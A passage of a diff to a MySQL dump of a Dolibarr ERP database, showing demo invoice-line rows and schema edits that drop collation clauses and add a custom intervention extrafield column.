P1',12.500,'',0.000,'',0.000,'',1,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(768,32,NULL,NULL,NULL,'mlml',18.000,'',0.000,'',0.000,'',1,0,0,NULL,100.00000000,NULL,100.00000000,18.00000000,0.00000000,0.00000000,118.00000000,0,NULL,NULL,0,NULL,46.00000000,110,0,3,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(769,32,NULL,NULL,NULL,'mlkml',18.000,'',0.000,'',0.000,'',1,0,0,NULL,400.00000000,NULL,400.00000000,72.00000000,0.00000000,0.00000000,472.00000000,0,NULL,NULL,0,NULL,300.00000000,110,0,4,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(772,160,NULL,NULL,NULL,'Adhésion/cotisation 2015',12.500,'',0.000,'',0.000,'',1,0,0,NULL,8.88889000,NULL,8.89000000,1.11000000,0.00000000,0.00000000,10.00000000,1,'2017-07-18 00:00:00','2018-07-17 00:00:00',0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(776,32,NULL,NULL,NULL,'fsdfsdfds',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,110,0,5,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(777,32,NULL,NULL,NULL,'fsdfsdfds',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,110,0,6,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(779,32,NULL,NULL,NULL,'fsdfds',0.000,'',0.000,'0',0.000,'0',0,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,9,NULL,NULL,0,0,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(780,32,NULL,NULL,NULL,'ffsdf',0.000,'',0.000,'0',0.000,'0',0,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,9,NULL,NULL,0,NULL,0.00000000,0,1790,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1022,210,NULL,NULL,NULL,'Adhésion/cotisation 2011',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,1,'2013-07-10 00:00:00','2014-07-09 00:00:00',0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1023,211,NULL,NULL,NULL,'Samsung Android x4',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,250.00000000,NULL,250.00000000,0.00000000,0.00000000,0.00000000,250.00000000,0,NULL,NULL,0,NULL,200.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1024,211,NULL,1,NULL,'A beatifull pink dress\r\nSize XXL',19.600,'',0.000,'0',0.000,'0',1,10,0,NULL,100.00000000,NULL,90.00000000,17.64000000,0.00000000,0.00000000,107.64000000,0,NULL,NULL,0,NULL,90.00000000,0,0,2,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1026,213,NULL,1,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',10,0,0,NULL,-100.00000000,NULL,-1000.00000000,0.00000000,0.00000000,0.00000000,-1000.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,NULL),(1028,149,NULL,NULL,NULL,'opoo',0.000,'CGST+SGST',9.000,'1',9.000,'1',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.90000000,0.90000000,11.80000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,0,'',10.00000000,10.00000000,0.00000000,11.80000000,NULL),(1029,149,NULL,NULL,NULL,'gdgd',18.000,'IGST',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,1.80000000,0.00000000,0.00000000,11.80000000,0,NULL,NULL,0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,12,12,0,'',10.00000000,10.00000000,1.80000000,11.80000000,NULL),(1030,217,NULL,NULL,NULL,'gfdgdf',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,12.00000000,NULL,12.00000000,0.00000000,0.00000000,0.00000000,12.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,0,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',12.00000000,12.00000000,0.00000000,12.00000000,NULL),(1035,218,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,NULL,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000,NULL),(1036,218,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',19.600,'',0.000,'0',0.000,'0',1,45,0,NULL,10.00000000,NULL,5.50000000,1.08000000,0.00000000,0.00000000,6.58000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',10.00000000,5.50000000,1.08000000,6.58000000,NULL),(1037,218,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,NULL,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000,NULL),(1039,218,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,NULL,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,0,4,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000,NULL),(1040,218,NULL,NULL,NULL,'aaa',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,5,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',10.00000000,10.00000000,0.00000000,10.00000000,NULL),(1055,220,NULL,NULL,NULL,'(DEPOSIT) (100.00 €) - CO7001-0018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,NULL,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,100.00000000,0.00000000,100.00000000,NULL),(1056,221,NULL,NULL,NULL,'(DEPOSIT) (30%) - CO7001-0018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,123.00000000,NULL,123.00000000,0.00000000,0.00000000,0.00000000,123.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',123.00000000,123.00000000,0.00000000,123.00000000,NULL),(1057,222,NULL,NULL,NULL,'(DEPOSIT) (100.00 €) - CO7001-0018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,NULL,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,100.00000000,0.00000000,100.00000000,NULL),(1058,223,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',5.00000000,10.00000000,0.00000000,10.00000000,NULL),(1059,223,NULL,10,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,NULL,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,200.00000000,0.00000000,200.00000000,NULL),(1060,223,NULL,1,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,NULL,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,200.00000000,0.00000000,200.00000000,NULL),(1061,224,NULL,NULL,NULL,'(DEPOSIT) (5%) - CO7001-0018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,20.50000000,NULL,20.50000000,0.00000000,0.00000000,0.00000000,20.50000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',20.50000000,20.50000000,0.00000000,20.50000000,NULL),(1062,225,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5.00000000,NULL,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',5.00000000,10.00000000,0.00000000,10.00000000,NULL),(1063,225,NULL,10,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,NULL,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,200.00000000,0.00000000,200.00000000,NULL),(1064,225,NULL,1,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,NULL,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,200.00000000,0.00000000,200.00000000,NULL),(1065,225,NULL,NULL,NULL,'(DEPOSIT)',0.000,'',0.000,'0',0.000,'0',1,0,0,15,-20.50000000,NULL,-20.50000000,0.00000000,0.00000000,0.00000000,-20.50000000,0,NULL,NULL,2,NULL,0.00000000,0,0,-1,NULL,NULL,100,NULL,NULL,12,12,0,'',-20.50000000,-20.50000000,0.00000000,-20.50000000,NULL),(1066,226,NULL,NULL,NULL,'aaa',12.500,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,NULL,100.00000000,12.50000000,0.00000000,0.00000000,112.50000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',100.00000000,100.00000000,12.50000000,112.50000000,NULL),(1067,226,NULL,NULL,NULL,'bbb',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,20.00000000,NULL,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',20.00000000,20.00000000,0.00000000,20.00000000,NULL),(1069,228,NULL,NULL,NULL,'(DEPOSIT) (70%) - PR2001-0034',4.000,'',0.000,'0',0.000,'0',1,0,0,NULL,50.00000000,NULL,50.00000000,2.00000000,0.00000000,0.00000000,52.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',50.00000000,50.00000000,2.00000000,52.00000000,NULL),(1070,228,NULL,NULL,NULL,'(DEPOSIT) (70%) - PR2001-0034',4.000,'',0.000,'0',0.000,'0',1,0,0,NULL,-1.40000000,NULL,-1.40000000,-0.06000000,0.00000000,0.00000000,-1.46000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',-1.40000000,-1.40000000,-0.06000000,-1.46000000,NULL),(1071,227,NULL,NULL,NULL,'gdfgd',19.600,'',0.000,'0',0.000,'0',1,0,0,NULL,200.00000000,NULL,200.00000000,39.20000000,0.00000000,0.00000000,239.20000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',200.00000000,200.00000000,39.20000000,239.20000000,NULL),(1072,217,NULL,1,NULL,'A beatifull pink dress',12.500,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,NULL,9.00000000,1.13000000,0.00000000,0.00000000,10.13000000,0,NULL,NULL,0,NULL,79.16667000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',9.00000000,9.00000000,1.13000000,10.13000000,NULL),(1074,219,NULL,30,NULL,'',20.000,'',0.000,'0',0.000,'0',6,6,0,NULL,4.16667000,NULL,23.50000000,4.70000000,0.00000000,0.00000000,28.20000000,0,NULL,NULL,0,NULL,0.00000000,0,0,5,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',5.41667000,30.55000000,6.11000000,36.66000000,''),(1089,219,NULL,24,NULL,'',20.000,'',0.000,'0',0.000,'0',1,6,0,NULL,0.83333000,NULL,0.78000000,0.16000000,0.00000000,0.00000000,0.94000000,0,NULL,NULL,0,NULL,0.00000000,0,0,20,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',1.08333000,1.02000000,0.20000000,1.22000000,''),(1090,229,NULL,NULL,NULL,'Subscription 2017',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,50.00000000,NULL,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,1,'2017-07-18 00:00:00',NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',50.00000000,50.00000000,0.00000000,50.00000000,NULL),(1091,230,NULL,NULL,NULL,'Subscription 2018',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,50.00000000,NULL,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,1,'2018-07-18 00:00:00',NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',50.00000000,50.00000000,0.00000000,50.00000000,NULL),(1092,231,NULL,NULL,NULL,'Subscription 2019',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,50.00000000,NULL,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,1,'2019-07-18 00:00:00',NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',50.00000000,50.00000000,0.00000000,50.00000000,NULL),(1093,55,NULL,NULL,NULL,'a',5.500,'aaa',0.000,'0',0.000,'0',1,0,0,NULL,1.00000000,NULL,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,NULL,NULL,0,NULL,0.00000000,110,0,3,NULL,NULL,100,NULL,NULL,12,12,0,'',1.00000000,1.00000000,0.06000000,1.06000000,''),(1094,55,NULL,NULL,NULL,'z',5.500,'bbb',0.000,'0',0.000,'0',1,0,0,NULL,1.00000000,NULL,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,1,NULL,NULL,0,NULL,0.00000000,110,0,4,NULL,NULL,100,NULL,NULL,12,12,0,'',1.00000000,1.00000000,0.06000000,1.06000000,''),(1095,232,NULL,NULL,NULL,'fdsfsdf',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,1000.00000000,NULL,1000.00000000,200.00000000,0.00000000,0.00000000,1200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',1000.00000000,1000.00000000,200.00000000,1200.00000000,''),(1096,233,NULL,NULL,NULL,'gfdgdfgdf',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,-1000.00000000,NULL,-1000.00000000,-200.00000000,0.00000000,0.00000000,-1200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',-1000.00000000,-1000.00000000,-200.00000000,-1200.00000000,''),(1097,234,NULL,26,NULL,'',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,1.08333000,NULL,1.08000000,0.22000000,0.00000000,0.00000000,1.30000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',1.40833000,1.41000000,0.28000000,1.69000000,''),(1098,234,NULL,25,NULL,'',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,1.25000000,NULL,1.25000000,0.25000000,0.00000000,0.00000000,1.50000000,0,NULL,NULL,0,NULL,0.00000000,0,0,2,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',1.62500000,1.63000000,0.32000000,1.95000000,''),(1099,234,NULL,25,NULL,'',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,1.25000000,NULL,1.25000000,0.25000000,0.00000000,0.00000000,1.50000000,0,NULL,NULL,0,NULL,0.00000000,0,0,3,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',1.62500000,1.63000000,0.32000000,1.95000000,''),(1100,234,NULL,27,NULL,'',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,38.33333000,NULL,38.33000000,7.67000000,0.00000000,0.00000000,46.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,4,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',49.83333000,49.83000000,9.97000000,59.80000000,''),(1101,234,NULL,27,NULL,'',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,1.08333000,NULL,1.08000000,0.22000000,0.00000000,0.00000000,1.30000000,0,NULL,NULL,0,NULL,0.00000000,0,0,5,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',1.40833000,1.41000000,0.28000000,1.69000000,''),(1102,234,NULL,27,NULL,'',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,1.08333000,NULL,1.08000000,0.22000000,0.00000000,0.00000000,1.30000000,0,NULL,NULL,0,NULL,0.00000000,0,0,6,NULL,NULL,100,NULL,NULL,12,12,0,'EUR',1.40833000,1.41000000,0.28000000,1.69000000,''),(1103,219,NULL,27,NULL,'',0.000,'',0.000,'0',0.000,'0',1,6,0,NULL,1.30000000,NULL,1.22000000,0.00000000,0.00000000,0.00000000,1.22000000,0,NULL,NULL,0,NULL,0.00000000,0,0,21,NULL,NULL,100,NULL,NULL,12,12,0,'USD',1.69000000,1.59000000,0.00000000,1.59000000,''),(1104,219,NULL,NULL,NULL,'kml',10.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9.09091000,NULL,9.09000000,0.91000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,22,NULL,NULL,100,NULL,NULL,12,12,0,'USD',11.81818000,11.82000000,1.18000000,13.00000000,''),(1105,235,NULL,NULL,NULL,'gfdgdfgfd',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,2.00000000,0.00000000,0.00000000,12.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',10.00000000,10.00000000,2.00000000,12.00000000,''),(1106,236,NULL,NULL,NULL,'hfg',20.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,NULL,10.00000000,2.00000000,0.00000000,0.00000000,12.00000000,0,NULL,NULL,0,NULL,0.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',10.00000000,10.00000000,2.00000000,12.00000000,''),(1108,237,NULL,1,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,NULL,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,79.16667000,110,0,2,NULL,NULL,50,NULL,NULL,12,12,1,'EUR',100.00000000,50.00000000,0.00000000,50.00000000,''),(1109,238,NULL,1,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,NULL,80.00000000,0.00000000,0.00000000,0.00000000,80.00000000,0,NULL,NULL,0,NULL,79.16667000,110,0,1,NULL,NULL,80,1108,NULL,12,12,0,'EUR',100.00000000,80.00000000,0.00000000,80.00000000,''),(1111,239,NULL,NULL,NULL,'aaa',0.000,'CGST+SGST',9.000,'1',9.000,'1',1,0,0,NULL,-1.00000000,NULL,-1.00000000,0.00000000,0.09000000,0.09000000,-1.18000000,0,NULL,NULL,0,NULL,100.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',-1.00000000,-1.00000000,0.00000000,-1.18000000,''),(1112,240,NULL,NULL,NULL,'aaa',0.000,'CGST+SGST',9.000,'1',9.000,'1',1,0,0,NULL,0.00000000,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,1.00000000,0,0,1,NULL,NULL,100,NULL,NULL,12,12,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000,''); /*!40000 ALTER TABLE `llx_facturedet` ENABLE KEYS */; UNLOCK TABLES; @@ -7439,7 +6721,7 @@ CREATE TABLE `llx_facturedet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_facturedet_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -7467,14 +6749,14 @@ CREATE TABLE `llx_facturedet_rec` ( `fk_parent_line` int(11) DEFAULT NULL, `fk_product` int(11) DEFAULT NULL, `product_type` int(11) DEFAULT 0, - `label` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `label` varchar(255) DEFAULT NULL, + `description` text DEFAULT NULL, `tva_tx` double(6,3) DEFAULT NULL, - `vat_src_code` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT '', + `vat_src_code` varchar(10) DEFAULT '', `localtax1_tx` double(6,3) DEFAULT 0.000, - `localtax1_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax1_type` varchar(10) NOT NULL DEFAULT '0', `localtax2_tx` double(6,3) DEFAULT 0.000, - `localtax2_type` varchar(10) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '0', + `localtax2_type` varchar(10) NOT NULL DEFAULT '0', `qty` double DEFAULT NULL, `remise_percent` double DEFAULT 0, `remise` double DEFAULT 0, @@ -7490,9 +6772,9 @@ CREATE TABLE `llx_facturedet_rec` ( `rang` int(11) DEFAULT 0, `fk_contract_line` int(11) DEFAULT NULL, `fk_unit` int(11) DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, `fk_multicurrency` int(11) DEFAULT NULL, - `multicurrency_code` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `multicurrency_code` varchar(3) DEFAULT NULL, `multicurrency_subprice` double(24,8) DEFAULT 0.00000000, `multicurrency_total_ht` double(24,8) DEFAULT 0.00000000, `multicurrency_total_tva` double(24,8) DEFAULT 0.00000000, @@ -7530,7 +6812,7 @@ CREATE TABLE `llx_facturedet_rec_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_facturedet_rec_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -7557,7 +6839,7 @@ CREATE TABLE `llx_fichinter` ( `fk_soc` int(11) NOT NULL, `fk_projet` int(11) DEFAULT 0, `fk_contrat` int(11) DEFAULT 0, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `datec` datetime DEFAULT NULL, @@ -7571,15 +6853,15 @@ CREATE TABLE `llx_fichinter` ( `dateo` date DEFAULT NULL, `datee` date DEFAULT NULL, `datet` date DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extraparams` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_ext` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `ref_client` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `last_main_doc` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `extraparams` varchar(255) DEFAULT NULL, + `ref_ext` varchar(255) DEFAULT NULL, + `ref_client` varchar(255) DEFAULT NULL, + `last_main_doc` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_fichinter_ref` (`ref`,`entity`), KEY `idx_fichinter_fk_soc` (`fk_soc`), @@ -7608,7 +6890,8 @@ CREATE TABLE `llx_fichinter_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `c42i_device_id_under_contract` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_ficheinter_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -7632,7 +6915,7 @@ DROP TABLE IF EXISTS `llx_fichinter_rec`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_fichinter_rec` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `titre` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, + `titre` varchar(50) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, `fk_soc` int(11) DEFAULT NULL, `datec` datetime DEFAULT NULL, @@ -7640,12 +6923,12 @@ CREATE TABLE `llx_fichinter_rec` ( `fk_user_author` int(11) DEFAULT NULL, `fk_projet` int(11) DEFAULT NULL, `duree` double DEFAULT NULL, - `description` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `modelpdf` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `description` text DEFAULT NULL, + `modelpdf` varchar(50) DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, `frequency` int(11) DEFAULT NULL, - `unit_frequency` varchar(2) COLLATE utf8mb3_unicode_ci DEFAULT 'm', + `unit_frequency` varchar(2) DEFAULT 'm', `date_when` datetime DEFAULT NULL, `date_last_gen` datetime DEFAULT NULL, `nb_gen_done` int(11) DEFAULT NULL, @@ -7682,7 +6965,7 @@ 